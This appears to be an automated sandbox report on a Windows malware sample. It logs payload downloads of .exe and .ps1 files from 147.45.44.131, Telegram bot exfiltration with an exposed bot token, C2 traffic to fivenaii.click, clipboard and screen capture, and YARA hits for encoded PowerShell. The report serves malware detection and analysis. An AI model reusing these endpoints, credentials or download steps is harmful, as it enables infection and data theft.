Source: global traffic	HTTP traffic detected: GET /infopage/ubvsd.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /infopage/ubvsd.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /infopage/ubvsd.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /infopage/pilgm.ps1 HTTP/1.1Host: 147.45.44.131User-Agent: curl/7.83.1Accept: /X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq
Source: global traffic	HTTP traffic detected: GET /infopage/hgfpj.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131
Source: global traffic	HTTP traffic detected: GET /infopage/hgfpj.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131
Source: global traffic	HTTP traffic detected: GET /infopage/hgfpj.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /infopage/ubvsd.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /infopage/hgfpj.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131

Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: fivenaii.click

Source: unknown

HTTP traffic detected: POST /bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted! HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Content-Type: application/x-www-form-urlencodedHost: api.telegram.orgContent-Length: 0Connection: Keep-Alive

Source: powershell.exe, 00000018.00000002.1835577839.0000000004783000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1835577839.0000000004D85000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1861999388.00000000056D5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1861999388.00000000050D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1831061949.00000000054EC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1831061949.0000000005814000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1831061949.00000000057F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.1915834227.0000000005692000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.1915834227.00000000056FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.1915834227.0000000005718000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131
Source: powershell.exe, 0000001D.00000002.1831061949.0000000005814000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000020.00000003.1790906998.0000000004F3E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000020.00000003.1790419471.0000000004F33000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000020.00000003.1790774230.0000000004F33000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000020.00000002.1793365456.0000000004F23000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000020.00000003.1790419471.0000000004F3E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000020.00000003.1791070899.0000000004F23000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000020.00000002.1793536887.0000000004F3E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000020.00000003.1790737456.0000000004F22000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000021.00000003.1790631639.0000000005563000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000021.00000003.1790414514.0000000005563000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000022.00000003.1791273808.00000000053C1000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000022.00000003.1790884381.00000000053C0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000022.00000002.1794282631.00000000053C1000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000022.00000003.1790958954.00000000053D1000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000022.00000003.1792905831.000000000537D000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000022.00000003.1791099108.00000000053DC000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000022.00000003.1790616924.00000000053D1000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000022.00000003.1790616924.00000000053DC000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000022.00000002.1794125947.0000000005386000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000022.00000002.1794353259.00000000053DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/hgfpj.exe
Source: csc.exe, 00000020.00000003.1792137730.0000000004E91000.00000004.00001000.00020000.00000000.sdmp, csc.exe, 00000021.00000003.1792106867.00000000071E1000.00000004.00001000.00020000.00000000.sdmp, csc.exe, 00000022.00000003.1792473123.0000000007181000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/hgfpj.exe0
Source: csc.exe, 0000002E.00000003.1830606968.00000000054D1000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/hgfpj.exe0M
Source: powershell.exe, 0000001B.00000002.1861999388.00000000056D5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1973866609.00000000085D1000.00000004.08000000.00040000.00000000.sdmp, csc.exe, 00000021.00000003.1790958160.0000000005550000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000021.00000003.1790414514.000000000556D000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000021.00000003.1790558948.000000000556D000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000021.00000003.1792494904.000000000556D000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000021.00000002.1793533684.0000000005553000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000021.00000003.1790796208.000000000556D000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000021.00000002.1793653792.000000000556D000.00000004.00000020.00020000.00000000.sdmp, 1yj35v5c.dll.33.dr	String found in binary or memory: http://147.45.44.131/infopage/hgfpj.exeL
Source: curl.exe, 00000019.00000002.1746361769.0000000000558000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000001E.00000002.1745016542.0000000003568000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000026.00000002.1796222258.0000000003328000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/p
Source: curl.exe, 0000001E.00000002.1745016542.0000000003568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/p:
Source: iviewers.dll	String found in binary or memory: http://147.45.44.131/infopage/pilgm.ps1
Source: curl.exe, 00000019.00000002.1746361769.0000000000558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/pilgm.ps1(
Source: curl.exe, 00000019.00000002.1746361769.0000000000558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/pilgm.ps14
Source: curl.exe, 00000019.00000002.1746361769.0000000000550000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/pilgm.ps19M
Source: curl.exe, 0000001F.00000002.1753219734.0000000003178000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/pilgm.ps1U
Source: curl.exe, 0000001F.00000002.1753219734.0000000003178000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/pilgm.ps1X
Source: curl.exe, 00000026.00000002.1796222258.0000000003328000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/pilgm.ps1b
Source: curl.exe, 0000001F.00000002.1753219734.0000000003170000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/pilgm.ps1l
Source: curl.exe, 00000026.00000002.1796222258.0000000003328000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/pilgm.ps1n
Source: curl.exe, 00000019.00000002.1746361769.0000000000558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/pilgm.ps1p
Source: powershell.exe, 0000001D.00000002.1831061949.00000000054EC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.1915834227.0000000005692000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.1915834227.000000000547C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/ubvsd.exe
Source: powershell.exe, 0000001D.00000002.1894591464.0000000007A99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/ubvsd.exeq
Source: powershell.exe, 0000000C.00000002.1694181605.00000000050CD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1694150794.0000000004DDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1694125670.00000000050D8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1718935125.0000000004AB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: powershell.exe, 00000025.00000002.1987305959.00000000078AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m
Source: powershell.exe, 0000000C.00000002.1693041380.0000000002FF2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1712723583.00000000072A0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.1900139630.00000000032A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: powershell.exe, 0000001B.00000002.1953992530.0000000007570000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microEU
Source: powershell.exe, 00000018.00000002.1924356798.0000000006D12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microM
Source: RegAsm.exe, 0000002D.00000002.1868439481.0000000000DC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: powershell.exe, 0000000D.00000002.1714471562.000000000734F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoftt
Source: powershell.exe, 00000018.00000002.1829917121.00000000007D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.veris
Source: powershell.exe, 0000000C.00000002.1707694757.0000000005DBB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1707861103.0000000005DCB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1760180237.000000000579D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1901335764.000000000569B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1931436944.0000000005FED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1874038631.00000000062FD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.1978905072.00000000061FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000025.00000002.1915834227.00000000052E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000000C.00000002.1694181605.0000000004D51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1694150794.0000000004A61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1694125670.0000000004D61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1718935125.0000000004731000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1835577839.0000000004631000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1861999388.0000000004F8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1831061949.0000000005291000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.1915834227.0000000005191000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000025.00000002.1915834227.00000000052E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 0000000C.00000002.1694181605.0000000004D51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1694150794.0000000004A61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1694125670.0000000004D61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1718935125.0000000004731000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1835577839.0000000004631000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1861999388.0000000004F8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1831061949.0000000005291000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.1915834227.0000000005191000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 0000000C.00000002.1694181605.0000000004EA6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1694150794.0000000004C9D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1694125670.0000000004F87000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1718935125.0000000004957000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: iviewers.dll	String found in binary or memory: https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=76540
Source: powershell.exe, 0000000E.00000002.1693280783.0000000003110000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1772070677.0000000006E61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7453569667:aaexd9axbzzcee5q99ndzg6kmwdokbksvlu/sendmessage?chat_id=76540
Source: powershell.exe, 0000000E.00000002.1694125670.0000000004F87000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org0
Source: powershell.exe, 00000025.00000002.1978905072.00000000061FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000025.00000002.1978905072.00000000061FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000025.00000002.1978905072.00000000061FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: RegAsm.exe, RegAsm.exe, 00000031.00000002.2174361705.000000000329C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000031.00000002.2172787217.0000000000D99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fivenaii.click/
Source: RegAsm.exe, 0000002D.00000002.1866051496.0000000000D74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fivenaii.click/0
Source: RegAsm.exe, 0000002C.00000002.2037048019.0000000003313000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fivenaii.click/4
Source: RegAsm.exe, 0000002B.00000002.2108864225.000000000144A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fivenaii.click/53
Source: RegAsm.exe, 0000002D.00000002.1866051496.0000000000D74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fivenaii.click/7
Source: RegAsm.exe, 0000002B.00000002.2108864225.000000000144A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fivenaii.click/80
Source: RegAsm.exe, 00000031.00000002.2172787217.0000000000D99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fivenaii.click/Q
Source: RegAsm.exe, RegAsm.exe, 00000031.00000002.2174361705.000000000329C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000031.00000002.2172787217.0000000000D99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fivenaii.click/api
Source: RegAsm.exe, 0000002B.00000002.2109246697.0000000001458000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fivenaii.click/apiF
Source: RegAsm.exe, 0000002D.00000002.1866051496.0000000000D90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fivenaii.click/apip
Source: RegAsm.exe, 0000002B.00000002.2107744655.00000000013F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fivenaii.click/cUC
Source: RegAsm.exe, 00000031.00000002.2174361705.000000000329C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fivenaii.click/l
Source: RegAsm.exe	String found in binary or memory: https://fivenaii.click:443/api
Source: RegAsm.exe, 0000002B.00000002.2110691890.0000000003A60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fivenaii.click:443/apiKa
Source: RegAsm.exe, 0000002C.00000002.2033166708.0000000000EBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fivenaii.click:443/apiLSID
Source: powershell.exe, 00000025.00000002.1915834227.00000000052E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000000C.00000002.1694181605.000000000559D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1694150794.00000000052EC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1694125670.000000000514A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1718935125.0000000004B24000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1835577839.0000000004E2D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1861999388.000000000577D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1831061949.00000000054EC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.1915834227.000000000539F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 0000000C.00000002.1707694757.0000000005DBB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1707861103.0000000005DCB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1760180237.000000000579D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1901335764.000000000569B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1931436944.0000000005FED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1874038631.00000000062FD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.1978905072.00000000061FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49776 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 45_2_00433E30 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

45_2_00433E30

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 45_2_00433E30 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

45_2_00433E30

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 45_2_004348C2 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

45_2_004348C2

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 7760, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7824, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7880, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 6588, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

.NET source code contains very large strings

Source: 24.2.powershell.exe.4d8584c.1.raw.unpack, Knvbl.cs	Long String: Length: 14784
Source: 24.2.powershell.exe.4d73b34.0.raw.unpack, Knvbl.cs	Long String: Length: 14784
Source: 27.2.powershell.exe.56d5e3c.3.raw.unpack, Knvbl.cs	Long String: Length: 14784
Source: 27.2.powershell.exe.56c4124.0.raw.unpack, Knvbl.cs	Long String: Length: 14784
Source: 29.2.powershell.exe.8b20000.4.raw.unpack, Knvbl.cs	Long String: Length: 14784
Source: 29.2.powershell.exe.58027a8.0.raw.unpack, Knvbl.cs	Long String: Length: 14784
Source: 29.2.powershell.exe.58144c0.2.raw.unpack, Knvbl.cs	Long String: Length: 14784
